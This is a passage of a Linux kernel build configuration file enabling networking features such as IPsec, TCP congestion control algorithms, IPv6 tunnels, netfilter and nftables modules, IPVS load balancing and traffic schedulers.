CONFIG_XFRM_USER_COMPAT=y
CONFIG_XFRM_INTERFACE=y
CONFIG_XFRM_SUB_POLICY=y
CONFIG_XFRM_MIGRATE=y
CONFIG_XFRM_STATISTICS=y
CONFIG_XFRM_AH=y
CONFIG_XFRM_ESP=y
CONFIG_XFRM_IPCOMP=y
CONFIG_NET_KEY=y
CONFIG_NET_KEY_MIGRATE=y
CONFIG_XFRM_IPTFS=y
CONFIG_XFRM_ESPINTCP=y
CONFIG_SMC=y
CONFIG_SMC_DIAG=y
# CONFIG_SMC_HS_CTRL_BPF is not set
CONFIG_DIBS=y
CONFIG_DIBS_LO=y
CONFIG_XDP_SOCKETS=y
CONFIG_XDP_SOCKETS_DIAG=y
CONFIG_NET_HANDSHAKE=y
CONFIG_INET=y
CONFIG_IP_MULTICAST=y
CONFIG_IP_ADVANCED_ROUTER=y
CONFIG_IP_FIB_TRIE_STATS=y
CONFIG_IP_MULTIPLE_TABLES=y
CONFIG_IP_ROUTE_MULTIPATH=y
CONFIG_IP_ROUTE_VERBOSE=y
CONFIG_IP_ROUTE_CLASSID=y
CONFIG_IP_PNP=y
CONFIG_IP_PNP_DHCP=y
CONFIG_IP_PNP_BOOTP=y
CONFIG_IP_PNP_RARP=y
CONFIG_NET_IPIP=y
CONFIG_NET_IPGRE_DEMUX=y
CONFIG_NET_IP_TUNNEL=y
CONFIG_NET_IPGRE=y
CONFIG_NET_IPGRE_BROADCAST=y
CONFIG_IP_MROUTE_COMMON=y
CONFIG_IP_MROUTE=y
CONFIG_IP_MROUTE_MULTIPLE_TABLES=y
CONFIG_IP_PIMSM_V1=y
CONFIG_IP_PIMSM_V2=y
CONFIG_SYN_COOKIES=y
CONFIG_NET_IPVTI=y
CONFIG_NET_UDP_TUNNEL=y
CONFIG_NET_FOU=y
CONFIG_NET_FOU_IP_TUNNELS=y
CONFIG_INET_AH=y
CONFIG_INET_ESP=y
CONFIG_INET_ESP_OFFLOAD=y
CONFIG_INET_ESPINTCP=y
CONFIG_INET_IPCOMP=y
CONFIG_INET_TABLE_PERTURB_ORDER=16
CONFIG_INET_XFRM_TUNNEL=y
CONFIG_INET_TUNNEL=y
CONFIG_INET_DIAG=y
CONFIG_INET_TCP_DIAG=y
CONFIG_INET_UDP_DIAG=y
CONFIG_INET_RAW_DIAG=y
CONFIG_INET_DIAG_DESTROY=y
CONFIG_TCP_CONG_ADVANCED=y
CONFIG_TCP_CONG_BIC=y
CONFIG_TCP_CONG_CUBIC=y
CONFIG_TCP_CONG_WESTWOOD=y
CONFIG_TCP_CONG_HTCP=y
CONFIG_TCP_CONG_HSTCP=y
CONFIG_TCP_CONG_HYBLA=y
CONFIG_TCP_CONG_VEGAS=y
CONFIG_TCP_CONG_NV=y
CONFIG_TCP_CONG_SCALABLE=y
CONFIG_TCP_CONG_LP=y
CONFIG_TCP_CONG_VENO=y
CONFIG_TCP_CONG_YEAH=y
CONFIG_TCP_CONG_ILLINOIS=y
CONFIG_TCP_CONG_DCTCP=y
CONFIG_TCP_CONG_CDG=y
CONFIG_TCP_CONG_BBR=y
# CONFIG_DEFAULT_BIC is not set
CONFIG_DEFAULT_CUBIC=y
# CONFIG_DEFAULT_HTCP is not set
# CONFIG_DEFAULT_HYBLA is not set
# CONFIG_DEFAULT_VEGAS is not set
# CONFIG_DEFAULT_VENO is not set
# CONFIG_DEFAULT_WESTWOOD is not set
# CONFIG_DEFAULT_DCTCP is not set
# CONFIG_DEFAULT_CDG is not set
# CONFIG_DEFAULT_BBR is not set
# CONFIG_DEFAULT_RENO is not set
CONFIG_DEFAULT_TCP_CONG="cubic"
# CONFIG_TCP_AO is not set
CONFIG_TCP_MD5SIG=y
CONFIG_IPV6=y
CONFIG_IPV6_ROUTER_PREF=y
CONFIG_IPV6_ROUTE_INFO=y
CONFIG_IPV6_OPTIMISTIC_DAD=y
CONFIG_INET6_AH=y
CONFIG_INET6_ESP=y
CONFIG_INET6_ESP_OFFLOAD=y
CONFIG_INET6_ESPINTCP=y
CONFIG_INET6_IPCOMP=y
CONFIG_IPV6_MIP6=y
CONFIG_IPV6_ILA=y
CONFIG_INET6_XFRM_TUNNEL=y
CONFIG_INET6_TUNNEL=y
CONFIG_IPV6_VTI=y
CONFIG_IPV6_SIT=y
CONFIG_IPV6_SIT_6RD=y
CONFIG_IPV6_NDISC_NODETYPE=y
CONFIG_IPV6_TUNNEL=y
CONFIG_IPV6_GRE=y
CONFIG_IPV6_FOU=y
CONFIG_IPV6_FOU_TUNNEL=y
CONFIG_IPV6_MULTIPLE_TABLES=y
CONFIG_IPV6_SUBTREES=y
CONFIG_IPV6_MROUTE=y
CONFIG_IPV6_MROUTE_MULTIPLE_TABLES=y
CONFIG_IPV6_PIMSM_V2=y
CONFIG_IPV6_SEG6_LWTUNNEL=y
CONFIG_IPV6_SEG6_HMAC=y
CONFIG_IPV6_SEG6_BPF=y
CONFIG_IPV6_RPL_LWTUNNEL=y
# CONFIG_IPV6_IOAM6_LWTUNNEL is not set
CONFIG_NETLABEL=y
CONFIG_MPTCP=y
CONFIG_INET_MPTCP_DIAG=y
CONFIG_MPTCP_IPV6=y
CONFIG_NETWORK_SECMARK=y
CONFIG_NET_PTP_CLASSIFY=y
# CONFIG_NETWORK_PHY_TIMESTAMPING is not set
CONFIG_NETFILTER=y
CONFIG_NETFILTER_ADVANCED=y
CONFIG_BRIDGE_NETFILTER=y

#
# Core Netfilter Configuration
#
CONFIG_NETFILTER_INGRESS=y
CONFIG_NETFILTER_EGRESS=y
CONFIG_NETFILTER_SKIP_EGRESS=y
CONFIG_NETFILTER_NETLINK=y
CONFIG_NETFILTER_FAMILY_BRIDGE=y
CONFIG_NETFILTER_FAMILY_ARP=y
CONFIG_NETFILTER_BPF_LINK=y
# CONFIG_NETFILTER_NETLINK_HOOK is not set
CONFIG_NETFILTER_NETLINK_ACCT=y
CONFIG_NETFILTER_NETLINK_QUEUE=y
CONFIG_NETFILTER_NETLINK_LOG=y
CONFIG_NETFILTER_NETLINK_OSF=y
CONFIG_NF_CONNTRACK=y
CONFIG_NF_LOG_SYSLOG=y
CONFIG_NETFILTER_CONNCOUNT=y
CONFIG_NF_CONNTRACK_MARK=y
CONFIG_NF_CONNTRACK_SECMARK=y
CONFIG_NF_CONNTRACK_ZONES=y
# CONFIG_NF_CONNTRACK_PROCFS is not set
CONFIG_NF_CONNTRACK_EVENTS=y
CONFIG_NF_CONNTRACK_TIMEOUT=y
CONFIG_NF_CONNTRACK_TIMESTAMP=y
CONFIG_NF_CONNTRACK_LABELS=y
CONFIG_NF_CONNTRACK_OVS=y
CONFIG_NF_CT_PROTO_GRE=y
CONFIG_NF_CT_PROTO_SCTP=y
CONFIG_NF_CONNTRACK_AMANDA=y
CONFIG_NF_CONNTRACK_FTP=y
CONFIG_NF_CONNTRACK_H323=y
CONFIG_NF_CONNTRACK_IRC=y
CONFIG_NF_CONNTRACK_BROADCAST=y
CONFIG_NF_CONNTRACK_NETBIOS_NS=y
CONFIG_NF_CONNTRACK_SNMP=y
CONFIG_NF_CONNTRACK_PPTP=y
CONFIG_NF_CONNTRACK_SANE=y
CONFIG_NF_CONNTRACK_SIP=y
CONFIG_NF_CONNTRACK_TFTP=y
CONFIG_NF_CT_NETLINK=y
CONFIG_NF_CT_NETLINK_TIMEOUT=y
CONFIG_NF_CT_NETLINK_HELPER=y
CONFIG_NETFILTER_NETLINK_GLUE_CT=y
CONFIG_NF_NAT=y
CONFIG_NF_NAT_AMANDA=y
CONFIG_NF_NAT_FTP=y
CONFIG_NF_NAT_IRC=y
CONFIG_NF_NAT_SIP=y
CONFIG_NF_NAT_TFTP=y
CONFIG_NF_NAT_REDIRECT=y
CONFIG_NF_NAT_MASQUERADE=y
CONFIG_NF_NAT_OVS=y
CONFIG_NETFILTER_SYNPROXY=y
CONFIG_NF_TABLES=y
CONFIG_NF_TABLES_INET=y
CONFIG_NF_TABLES_NETDEV=y
CONFIG_NFT_NUMGEN=y
CONFIG_NFT_CT=y
CONFIG_NFT_EXTHDR_DCCP=y
CONFIG_NFT_FLOW_OFFLOAD=y
CONFIG_NFT_CONNLIMIT=y
CONFIG_NFT_LOG=y
CONFIG_NFT_LIMIT=y
CONFIG_NFT_MASQ=y
CONFIG_NFT_REDIR=y
CONFIG_NFT_NAT=y
CONFIG_NFT_TUNNEL=y
CONFIG_NFT_QUEUE=y
CONFIG_NFT_QUOTA=y
CONFIG_NFT_REJECT=y
CONFIG_NFT_REJECT_INET=y
CONFIG_NFT_COMPAT=y
CONFIG_NFT_HASH=y
CONFIG_NFT_FIB=y
CONFIG_NFT_FIB_INET=y
CONFIG_NFT_XFRM=y
CONFIG_NFT_SOCKET=y
CONFIG_NFT_OSF=y
CONFIG_NFT_TPROXY=y
CONFIG_NFT_SYNPROXY=y
CONFIG_NF_DUP_NETDEV=y
CONFIG_NFT_DUP_NETDEV=y
CONFIG_NFT_FWD_NETDEV=y
CONFIG_NFT_FIB_NETDEV=y
CONFIG_NFT_REJECT_NETDEV=y
CONFIG_NF_FLOW_TABLE_INET=y
CONFIG_NF_FLOW_TABLE=y
# CONFIG_NF_FLOW_TABLE_PROCFS is not set
CONFIG_NETFILTER_XTABLES=y
CONFIG_NETFILTER_XTABLES_COMPAT=y
CONFIG_NETFILTER_XTABLES_LEGACY=y

#
# Xtables combined modules
#
CONFIG_NETFILTER_XT_MARK=y
CONFIG_NETFILTER_XT_CONNMARK=y
CONFIG_NETFILTER_XT_SET=y

#
# Xtables targets
#
CONFIG_NETFILTER_XT_TARGET_AUDIT=y
CONFIG_NETFILTER_XT_TARGET_CHECKSUM=y
CONFIG_NETFILTER_XT_TARGET_CLASSIFY=y
CONFIG_NETFILTER_XT_TARGET_CONNMARK=y
CONFIG_NETFILTER_XT_TARGET_CONNSECMARK=y
CONFIG_NETFILTER_XT_TARGET_CT=y
CONFIG_NETFILTER_XT_TARGET_DSCP=y
CONFIG_NETFILTER_XT_TARGET_HL=y
CONFIG_NETFILTER_XT_TARGET_HMARK=y
CONFIG_NETFILTER_XT_TARGET_IDLETIMER=y
CONFIG_NETFILTER_XT_TARGET_LED=y
CONFIG_NETFILTER_XT_TARGET_LOG=y
CONFIG_NETFILTER_XT_TARGET_MARK=y
CONFIG_NETFILTER_XT_NAT=y
CONFIG_NETFILTER_XT_TARGET_NETMAP=y
CONFIG_NETFILTER_XT_TARGET_NFLOG=y
CONFIG_NETFILTER_XT_TARGET_NFQUEUE=y
CONFIG_NETFILTER_XT_TARGET_NOTRACK=y
CONFIG_NETFILTER_XT_TARGET_RATEEST=y
CONFIG_NETFILTER_XT_TARGET_REDIRECT=y
CONFIG_NETFILTER_XT_TARGET_MASQUERADE=y
CONFIG_NETFILTER_XT_TARGET_TEE=y
CONFIG_NETFILTER_XT_TARGET_TPROXY=y
CONFIG_NETFILTER_XT_TARGET_TRACE=y
CONFIG_NETFILTER_XT_TARGET_SECMARK=y
CONFIG_NETFILTER_XT_TARGET_TCPMSS=y
CONFIG_NETFILTER_XT_TARGET_TCPOPTSTRIP=y

#
# Xtables matches
#
CONFIG_NETFILTER_XT_MATCH_ADDRTYPE=y
CONFIG_NETFILTER_XT_MATCH_BPF=y
CONFIG_NETFILTER_XT_MATCH_CGROUP=y
CONFIG_NETFILTER_XT_MATCH_CLUSTER=y
CONFIG_NETFILTER_XT_MATCH_COMMENT=y
CONFIG_NETFILTER_XT_MATCH_CONNBYTES=y
CONFIG_NETFILTER_XT_MATCH_CONNLABEL=y
CONFIG_NETFILTER_XT_MATCH_CONNLIMIT=y
CONFIG_NETFILTER_XT_MATCH_CONNMARK=y
CONFIG_NETFILTER_XT_MATCH_CONNTRACK=y
CONFIG_NETFILTER_XT_MATCH_CPU=y
CONFIG_NETFILTER_XT_MATCH_DCCP=y
CONFIG_NETFILTER_XT_MATCH_DEVGROUP=y
CONFIG_NETFILTER_XT_MATCH_DSCP=y
CONFIG_NETFILTER_XT_MATCH_ECN=y
CONFIG_NETFILTER_XT_MATCH_ESP=y
CONFIG_NETFILTER_XT_MATCH_HASHLIMIT=y
CONFIG_NETFILTER_XT_MATCH_HELPER=y
CONFIG_NETFILTER_XT_MATCH_HL=y
CONFIG_NETFILTER_XT_MATCH_IPCOMP=y
CONFIG_NETFILTER_XT_MATCH_IPRANGE=y
CONFIG_NETFILTER_XT_MATCH_IPVS=y
CONFIG_NETFILTER_XT_MATCH_L2TP=y
CONFIG_NETFILTER_XT_MATCH_LENGTH=y
CONFIG_NETFILTER_XT_MATCH_LIMIT=y
CONFIG_NETFILTER_XT_MATCH_MAC=y
CONFIG_NETFILTER_XT_MATCH_MARK=y
CONFIG_NETFILTER_XT_MATCH_MULTIPORT=y
CONFIG_NETFILTER_XT_MATCH_NFACCT=y
CONFIG_NETFILTER_XT_MATCH_OSF=y
CONFIG_NETFILTER_XT_MATCH_OWNER=y
CONFIG_NETFILTER_XT_MATCH_POLICY=y
CONFIG_NETFILTER_XT_MATCH_PHYSDEV=y
CONFIG_NETFILTER_XT_MATCH_PKTTYPE=y
CONFIG_NETFILTER_XT_MATCH_QUOTA=y
CONFIG_NETFILTER_XT_MATCH_RATEEST=y
CONFIG_NETFILTER_XT_MATCH_REALM=y
CONFIG_NETFILTER_XT_MATCH_RECENT=y
CONFIG_NETFILTER_XT_MATCH_SCTP=y
CONFIG_NETFILTER_XT_MATCH_SOCKET=y
CONFIG_NETFILTER_XT_MATCH_STATE=y
CONFIG_NETFILTER_XT_MATCH_STATISTIC=y
CONFIG_NETFILTER_XT_MATCH_STRING=y
CONFIG_NETFILTER_XT_MATCH_TCPMSS=y
CONFIG_NETFILTER_XT_MATCH_TIME=y
CONFIG_NETFILTER_XT_MATCH_U32=y
# end of Core Netfilter Configuration

CONFIG_IP_SET=y
CONFIG_IP_SET_MAX=256
CONFIG_IP_SET_BITMAP_IP=y
CONFIG_IP_SET_BITMAP_IPMAC=y
CONFIG_IP_SET_BITMAP_PORT=y
CONFIG_IP_SET_HASH_IP=y
CONFIG_IP_SET_HASH_IPMARK=y
CONFIG_IP_SET_HASH_IPPORT=y
CONFIG_IP_SET_HASH_IPPORTIP=y
CONFIG_IP_SET_HASH_IPPORTNET=y
CONFIG_IP_SET_HASH_IPMAC=y
CONFIG_IP_SET_HASH_MAC=y
CONFIG_IP_SET_HASH_NETPORTNET=y
CONFIG_IP_SET_HASH_NET=y
CONFIG_IP_SET_HASH_NETNET=y
CONFIG_IP_SET_HASH_NETPORT=y
CONFIG_IP_SET_HASH_NETIFACE=y
CONFIG_IP_SET_LIST_SET=y
CONFIG_IP_VS=y
CONFIG_IP_VS_IPV6=y
# CONFIG_IP_VS_DEBUG is not set
CONFIG_IP_VS_TAB_BITS=12

#
# IPVS transport protocol load balancing support
#
CONFIG_IP_VS_PROTO_TCP=y
CONFIG_IP_VS_PROTO_UDP=y
CONFIG_IP_VS_PROTO_AH_ESP=y
CONFIG_IP_VS_PROTO_ESP=y
CONFIG_IP_VS_PROTO_AH=y
CONFIG_IP_VS_PROTO_SCTP=y

#
# IPVS scheduler
#
CONFIG_IP_VS_RR=y
CONFIG_IP_VS_WRR=y
CONFIG_IP_VS_LC=y
CONFIG_IP_VS_WLC=y
CONFIG_IP_VS_FO=y
CONFIG_IP_VS_OVF=y
CONFIG_IP_VS_LBLC=y
CONFIG_IP_VS_LBLCR=y
CONFIG_IP_VS_DH=y
CONFIG_IP_VS_SH=y
CONFIG_IP_VS_MH=y
CONFIG_IP_VS_SED=y
CONFIG_IP_VS_NQ=y
CONFIG_IP_VS_TWOS=y

#
# IPVS SH scheduler
#
CONFIG_IP_VS_SH_TAB_BITS=8

#
# IPVS MH scheduler
#
CONFIG_IP_VS_MH_TAB_INDEX=12

#
# IPVS application helper
#
CONFIG_IP_VS_FTP=y
CONFIG_IP_VS_NFCT=y
CONFIG_IP_VS_PE_SIP=y

#
# IP: Netfilter Configuration
#
CONFIG_NF_DEFRAG_IPV4=y
CONFIG_IP_NF_IPTABLES_LEGACY=y
CONFIG_NF_SOCKET_IPV4=y
CONFIG_NF_TPROXY_IPV4=y
CONFIG_NF_TABLES_IPV4=y
CONFIG_NFT_REJECT_IPV4=y
CONFIG_NFT_DUP_IPV4=y
CONFIG_NFT_FIB_IPV4=y
CONFIG_NF_TABLES_ARP=y
CONFIG_NF_DUP_IPV4=y
CONFIG_NF_LOG_ARP=y
CONFIG_NF_LOG_IPV4=y
CONFIG_NF_REJECT_IPV4=y
CONFIG_NF_NAT_SNMP_BASIC=y
CONFIG_NF_NAT_PPTP=y
CONFIG_NF_NAT_H323=y
CONFIG_IP_NF_IPTABLES=y
CONFIG_IP_NF_MATCH_AH=y
CONFIG_IP_NF_MATCH_ECN=y
CONFIG_IP_NF_MATCH_RPFILTER=y
CONFIG_IP_NF_MATCH_TTL=y
CONFIG_IP_NF_FILTER=y
CONFIG_IP_NF_TARGET_REJECT=y
CONFIG_IP_NF_TARGET_SYNPROXY=y
CONFIG_IP_NF_NAT=y
CONFIG_IP_NF_TARGET_MASQUERADE=y
CONFIG_IP_NF_TARGET_NETMAP=y
CONFIG_IP_NF_TARGET_REDIRECT=y
CONFIG_IP_NF_MANGLE=y
CONFIG_IP_NF_TARGET_ECN=y
CONFIG_IP_NF_TARGET_TTL=y
CONFIG_IP_NF_RAW=y
CONFIG_IP_NF_SECURITY=y
CONFIG_IP_NF_ARPTABLES=y
CONFIG_NFT_COMPAT_ARP=y
CONFIG_IP_NF_ARPFILTER=y
CONFIG_IP_NF_ARP_MANGLE=y
# end of IP: Netfilter Configuration

#
# IPv6: Netfilter Configuration
#
CONFIG_IP6_NF_IPTABLES_LEGACY=y
CONFIG_NF_SOCKET_IPV6=y
CONFIG_NF_TPROXY_IPV6=y
CONFIG_NF_TABLES_IPV6=y
CONFIG_NFT_REJECT_IPV6=y
CONFIG_NFT_DUP_IPV6=y
CONFIG_NFT_FIB_IPV6=y
CONFIG_NF_DUP_IPV6=y
CONFIG_NF_REJECT_IPV6=y
CONFIG_NF_LOG_IPV6=y
CONFIG_IP6_NF_IPTABLES=y
CONFIG_IP6_NF_MATCH_AH=y
CONFIG_IP6_NF_MATCH_EUI64=y
CONFIG_IP6_NF_MATCH_FRAG=y
CONFIG_IP6_NF_MATCH_OPTS=y
CONFIG_IP6_NF_MATCH_HL=y
CONFIG_IP6_NF_MATCH_IPV6HEADER=y
CONFIG_IP6_NF_MATCH_MH=y
CONFIG_IP6_NF_MATCH_RPFILTER=y
CONFIG_IP6_NF_MATCH_RT=y
CONFIG_IP6_NF_MATCH_SRH=y
CONFIG_IP6_NF_TARGET_HL=y
CONFIG_IP6_NF_FILTER=y
CONFIG_IP6_NF_TARGET_REJECT=y
CONFIG_IP6_NF_TARGET_SYNPROXY=y
CONFIG_IP6_NF_MANGLE=y
CONFIG_IP6_NF_RAW=y
CONFIG_IP6_NF_SECURITY=y
CONFIG_IP6_NF_NAT=y
CONFIG_IP6_NF_TARGET_MASQUERADE=y
CONFIG_IP6_NF_TARGET_NPT=y
# end of IPv6: Netfilter Configuration

CONFIG_NF_DEFRAG_IPV6=y
CONFIG_NF_TABLES_BRIDGE=y
CONFIG_NFT_BRIDGE_META=y
CONFIG_NFT_BRIDGE_REJECT=y
CONFIG_NF_CONNTRACK_BRIDGE=y
CONFIG_BRIDGE_NF_EBTABLES_LEGACY=y
CONFIG_BRIDGE_NF_EBTABLES=y
CONFIG_BRIDGE_EBT_BROUTE=y
CONFIG_BRIDGE_EBT_T_FILTER=y
CONFIG_BRIDGE_EBT_T_NAT=y
CONFIG_BRIDGE_EBT_802_3=y
CONFIG_BRIDGE_EBT_AMONG=y
CONFIG_BRIDGE_EBT_ARP=y
CONFIG_BRIDGE_EBT_IP=y
CONFIG_BRIDGE_EBT_IP6=y
CONFIG_BRIDGE_EBT_LIMIT=y
CONFIG_BRIDGE_EBT_MARK=y
CONFIG_BRIDGE_EBT_PKTTYPE=y
CONFIG_BRIDGE_EBT_STP=y
CONFIG_BRIDGE_EBT_VLAN=y
CONFIG_BRIDGE_EBT_ARPREPLY=y
CONFIG_BRIDGE_EBT_DNAT=y
CONFIG_BRIDGE_EBT_MARK_T=y
CONFIG_BRIDGE_EBT_REDIRECT=y
CONFIG_BRIDGE_EBT_SNAT=y
CONFIG_BRIDGE_EBT_LOG=y
CONFIG_BRIDGE_EBT_NFLOG=y
CONFIG_IP_SCTP=y
# CONFIG_SCTP_DBG_OBJCNT is not set
CONFIG_SCTP_DEFAULT_COOKIE_HMAC_SHA256=y
# CONFIG_SCTP_DEFAULT_COOKIE_HMAC_NONE is not set
CONFIG_INET_SCTP_DIAG=y
CONFIG_RDS=y
CONFIG_RDS_RDMA=y
CONFIG_RDS_TCP=y
# CONFIG_RDS_DEBUG is not set
CONFIG_TIPC=y
CONFIG_TIPC_MEDIA_IB=y
CONFIG_TIPC_MEDIA_UDP=y
CONFIG_TIPC_CRYPTO=y
CONFIG_TIPC_DIAG=y
CONFIG_ATM=y
CONFIG_ATM_BR2684=y
# CONFIG_ATM_BR2684_IPFILTER is not set
CONFIG_L2TP=y
# CONFIG_L2TP_DEBUGFS is not set
CONFIG_L2TP_V3=y
CONFIG_L2TP_IP=y
CONFIG_L2TP_ETH=y
CONFIG_STP=y
CONFIG_GARP=y
CONFIG_MRP=y
CONFIG_BRIDGE=y
CONFIG_BRIDGE_IGMP_SNOOPING=y
CONFIG_BRIDGE_VLAN_FILTERING=y
CONFIG_BRIDGE_MRP=y
CONFIG_BRIDGE_CFM=y
CONFIG_NET_DSA=y
# CONFIG_NET_DSA_TAG_NONE is not set
# CONFIG_NET_DSA_TAG_AR9331 is not set
CONFIG_NET_DSA_TAG_BRCM_COMMON=y
CONFIG_NET_DSA_TAG_BRCM=y
# CONFIG_NET_DSA_TAG_BRCM_LEGACY is not set
# CONFIG_NET_DSA_TAG_BRCM_LEGACY_FCS is not set
CONFIG_NET_DSA_TAG_BRCM_PREPEND=y
# CONFIG_NET_DSA_TAG_HELLCREEK is not set
# CONFIG_NET_DSA_TAG_GSWIP is not set
# CONFIG_NET_DSA_TAG_DSA is not set
# CONFIG_NET_DSA_TAG_EDSA is not set
# CONFIG_NET_DSA_TAG_MT7628 is not set
CONFIG_NET_DSA_TAG_MTK=y
# CONFIG_NET_DSA_TAG_MXL_862XX is not set
# CONFIG_NET_DSA_TAG_MXL_GSW1XX is not set
# CONFIG_NET_DSA_TAG_KSZ is not set
# CONFIG_NET_DSA_TAG_NETC is not set
# CONFIG_NET_DSA_TAG_OCELOT is not set
# CONFIG_NET_DSA_TAG_OCELOT_8021Q is not set
CONFIG_NET_DSA_TAG_QCA=y
CONFIG_NET_DSA_TAG_RTL4_A=y
# CONFIG_NET_DSA_TAG_RTL8_4 is not set
# CONFIG_NET_DSA_TAG_RZN1_A5PSW is not set
# CONFIG_NET_DSA_TAG_LAN9303 is not set
# CONFIG_NET_DSA_TAG_SJA1105 is not set
# CONFIG_NET_DSA_TAG_TRAILER is not set
# CONFIG_NET_DSA_TAG_VSC73XX_8021Q is not set
# CONFIG_NET_DSA_TAG_XRS700X is not set
# CONFIG_NET_DSA_TAG_YT921X is not set
CONFIG_VLAN_8021Q=y
CONFIG_VLAN_8021Q_GVRP=y
CONFIG_VLAN_8021Q_MVRP=y
CONFIG_LLC=y
CONFIG_LLC2=y
CONFIG_X25=y
CONFIG_LAPB=y
CONFIG_PHONET=y
CONFIG_6LOWPAN=y
# CONFIG_6LOWPAN_DEBUGFS is not set
CONFIG_6LOWPAN_NHC=y
CONFIG_6LOWPAN_NHC_DEST=y
CONFIG_6LOWPAN_NHC_FRAGMENT=y
CONFIG_6LOWPAN_NHC_HOP=y
CONFIG_6LOWPAN_NHC_IPV6=y
CONFIG_6LOWPAN_NHC_MOBILITY=y
CONFIG_6LOWPAN_NHC_ROUTING=y
CONFIG_6LOWPAN_NHC_UDP=y
CONFIG_6LOWPAN_GHC_EXT_HDR_HOP=y
CONFIG_6LOWPAN_GHC_UDP=y
CONFIG_6LOWPAN_GHC_ICMPV6=y
CONFIG_6LOWPAN_GHC_EXT_HDR_DEST=y
CONFIG_6LOWPAN_GHC_EXT_HDR_FRAG=y
CONFIG_6LOWPAN_GHC_EXT_HDR_ROUTE=y
CONFIG_IEEE802154=y
CONFIG_IEEE802154_NL802154_EXPERIMENTAL=y
CONFIG_IEEE802154_SOCKET=y
CONFIG_IEEE802154_6LOWPAN=y
CONFIG_MAC802154=y
CONFIG_NET_SCHED=y

#
# Queueing/Scheduling
#
CONFIG_NET_SCH_HTB=y
CONFIG_NET_SCH_HFSC=y
CONFIG_NET_SCH_PRIO=y
CONFIG_NET_SCH_MULTIQ=y
CONFIG_NET_SCH_RED=y
CONFIG_NET_SCH_SFB=y
CONFIG_NET_SCH_SFQ=y
CONFIG_NET_SCH_TEQL=y
CONFIG_NET_SCH_TBF=y
CONFIG_NET_SCH_CBS=y
CONFIG_NET_SCH_ETF=y
CONFIG_NET_SCH_MQPRIO_LIB=y
CONFIG_NET_SCH_TAPRIO=y
CONFIG_NET_SCH_GRED=y
CONFIG_NET_SCH_NETEM=y
CONFIG_NET_SCH_DRR=y
CONFIG_NET_SCH_MQPRIO=y
CONFIG_NET_SCH_SKBPRIO=y
CONFIG_NET_SCH_CHOKE=y
CONFIG_NET_SCH_QFQ=y
CONFIG_NET_SCH_CODEL=y
CONFIG_NET_SCH_FQ_CODEL=y
CONFIG_NET_SCH_CAKE=y
CONFIG_NET_SCH_FQ=y
CONFIG_NET_SCH_HHF=y
CONFIG_NET_SCH_PIE=y
CONFIG_NET_SCH_FQ_PIE=y
CONFIG_NET_SCH_INGRESS=y
CONFIG_NET_SCH_PLUG=y
CONFIG_NET_SCH_ETS=y
# CONFIG_NET_SCH_DUALPI2 is not set
CONFIG_NET_SCH_DEFAULT=y
# CONFIG_DEFAULT_FQ is not set
CONFIG_DEFAULT_CODEL=y
# CONFIG_DEFAULT_FQ_CODEL is not set
# CONFIG_DEFAULT_FQ_PIE is not set
# CONFIG_DEFAULT_SFQ is not set
# CONFIG_DEFAULT_PFIFO_FAST is not set
CONFIG_DEFAULT_NET_SCH="pfifo_fast"

#
# Classification
#
CONFIG_NET_CLS=y
CONFIG_NET_CLS_BASIC=y
CONFIG_NET_CLS_ROUTE4=y
CONFIG_NET_CLS_FW=y
CONFIG_NET_CLS_U32=y
CONFIG_CLS_U32_PERF=y
CONFIG_CLS_U32_MARK=y
CONFIG_NET_CLS_FLOW=y
CONFIG_NET_CLS_CGROUP=y
CONFIG_NET_CLS_BPF=y
CONFIG_NET_CLS_FLOWER=y
CONFIG_NET_CLS_MATCHALL=y
CONFIG_NET_EMATCH=y
CONFIG_NET_EMATCH_STACK=32
CONFIG_NET_EMATCH_CMP=y
CONFIG_NET_EMATCH_NBYTE=y
CONFIG_NET_EMATCH_U32=y
CONFIG_NET_EMATCH_META=y
CONFIG_NET_EMATCH_TEXT=y
CONFIG_NET_EMATCH_CANID=y
CONFIG_NET_EMATCH_IPSET=y
CONFIG_NET_EMATCH_IPT=y
CONFIG_NET_CLS_ACT=y
CONFIG_NET_ACT_POLICE=y
CONFIG_NET_ACT_GACT=y
CONFIG_GACT_PROB=y
CONFIG_NET_ACT_MIRRED=y
CONFIG_NET_ACT_SAMPLE=y
CONFIG_NET_ACT_NAT=y
CONFIG_NET_ACT_PEDIT=y
CONFIG_NET_ACT_SIMP=y
CONFIG_NET_ACT_SKBEDIT=y
CONFIG_NET_ACT_CSUM=y
CONFIG_NET_ACT_MPLS=y
CONFIG_NET_ACT_VLAN=y
CONFIG_NET_ACT_BPF=y
CONFIG_NET_ACT_CONNMARK=y
CONFIG_NET_ACT_CTINFO=y
CONFIG_NET_ACT_SKBMOD=y
CONFIG_NET_ACT_IFE=y
CONFIG_NET_ACT_TUNNEL_KEY=y
CONFIG_NET_ACT_CT=y
CONFIG_NET_ACT_GATE=y
CONFIG_NET_IFE_SKBMARK=y
CONFIG_NET_IFE_SKBPRIO=y
CONFIG_NET_IFE_SKBTCINDEX=y
CONFIG_NET_TC_SKB_EXT=y
CONFIG_NET_SCH_FIFO=y
CONFIG_DCB=y
CONFIG_DNS_RESOLVER=y
CONFIG_BATMAN_ADV=y
CONFIG_BATMAN_ADV_BATMAN_V=y
CONFIG_BATMAN_ADV_BLA=y
CONFIG_BATMAN_ADV_DAT=y
CONFIG_BATMAN_ADV_MCAST=y
# CONFIG_BATMAN_ADV_DEBUG is not set
# CONFIG_BATMAN_ADV_TRACING is not set
CONFIG_OPENVSWITCH=y
CONFIG_VSOCKETS=y
CONFIG_VSOCKETS_DIAG=y
CONFIG_VSOCKETS_LOOPBACK=y
# CONFIG_VMWARE_VMCI_VSOCKETS is not set
CONFIG_VIRTIO_VSOCKETS=y
CONFIG_VIRTIO_VSOCKETS_COMMON=y
CONFIG_NETLINK_DIAG=y
CONFIG_MPLS=y
CONFIG_NET_MPLS_GSO=y
CONFIG_MPLS_ROUTING=y
CONFIG_MPLS_IPTUNNEL=y
CONFIG_NET_NSH=y
CONFIG_HSR=y
CONFIG_NET_SWITCHDEV=y
CONFIG_NET_L3_MASTER_DEV=y
CONFIG_QRTR=y
CONFIG_QRTR_TUN=y
# CONFIG_QRTR_MHI is not set
CONFIG_NET_NCSI=y
# CONFIG_NCSI_OEM_CMD_GET_MAC is not set
# CONFIG_NCSI_OEM_CMD_KEEP_PHY is not set
# CONFIG_PCPU_DEV_REFCNT is not set
CONFIG_MAX_SKB_FRAGS=17
CONFIG_RPS=y
CONFIG_RFS_ACCEL=y
CONFIG_SOCK_RX_QUEUE_MAPPING=y
CONFIG_XPS=y
CONFIG_CGROUP_NET_PRIO=y
CONFIG_CGROUP_NET_CLASSID=y
CONFIG_NET_RX_BUSY_POLL=y
CONFIG_BQL=y
